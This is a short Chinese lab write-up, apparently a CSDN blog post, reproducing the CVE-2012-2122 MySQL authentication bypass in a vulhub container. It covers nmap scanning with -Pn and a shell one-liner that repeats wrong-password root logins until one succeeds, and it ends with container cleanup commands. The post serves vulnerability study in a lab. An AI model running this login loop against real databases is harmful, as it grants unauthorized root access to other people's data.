CVE-2012-2122-mysql未授权访问漏洞复现-vulhub

1.原理

参考:CVE-2012-2122 Mysql身份认证漏洞及利用-CSDN博客

简单来说,除了配置上的问题以外,是密码的验证出现了漏洞,导致尝试次数多了之后直接可以登入

使用:kali+vulhub

2.复现

开一下镜像,用的是vulhub,不了解的可以自己搜一下,网上相关安装挺多的

用ifconfig查一下受攻击机的ip地址

址查一下端口,看看是否正常打开了,发现有3306

用主机的nmap试了下扫描,直接扫端口是扫不到的,因为虚拟机开了防火墙,要-Pn,禁掉ping方式才可以扫到

for i in `seq 1 1000`; do mysql -u root --password=bad -h targetip 2>/dev/null; done(前面让你看的自己ip)

最后记得停止使用容器防止后续其他容器的打开

docker ps 展示所有正在使用的容器

docker stop +容器的id 关闭容器

相关推荐
二年级程序员19 分钟前
MySQL 函数(入门版)
数据库·mysql
敲键盘的小夜猫21 分钟前
数据库分表算法详解:原理、实现与最佳实践
数据库
长安城没有风38 分钟前
从入门到精通【MySQL】 联合查询
数据库·mysql
ylfhpy1 小时前
Java面试黄金宝典35
java·数据库·sql·算法·面试·职场和发展
不剪发的Tony老师1 小时前
SQLark:一款国产免费数据库开发和管理工具
数据库
我是Superman丶1 小时前
【工具】Redis管理工具推荐
运维·数据库·redis
xiaolingting1 小时前
Redis 与 Java HashMap 扩容负载因子差异解析
数据库·redis·hashmap·负载因子·内存碎片·内存敏感·渐进式扩容
给钱,谢谢!1 小时前
mac 安装MySQL
数据库·mysql·macos
GalaxyPokemon2 小时前
MySQL基础 [五] - 表的增删查改
数据库·mysql
梦远星帆2 小时前
Navicat和PLSQL在oracle 使用语句报ORA-00911: 无效字符
数据库·oracle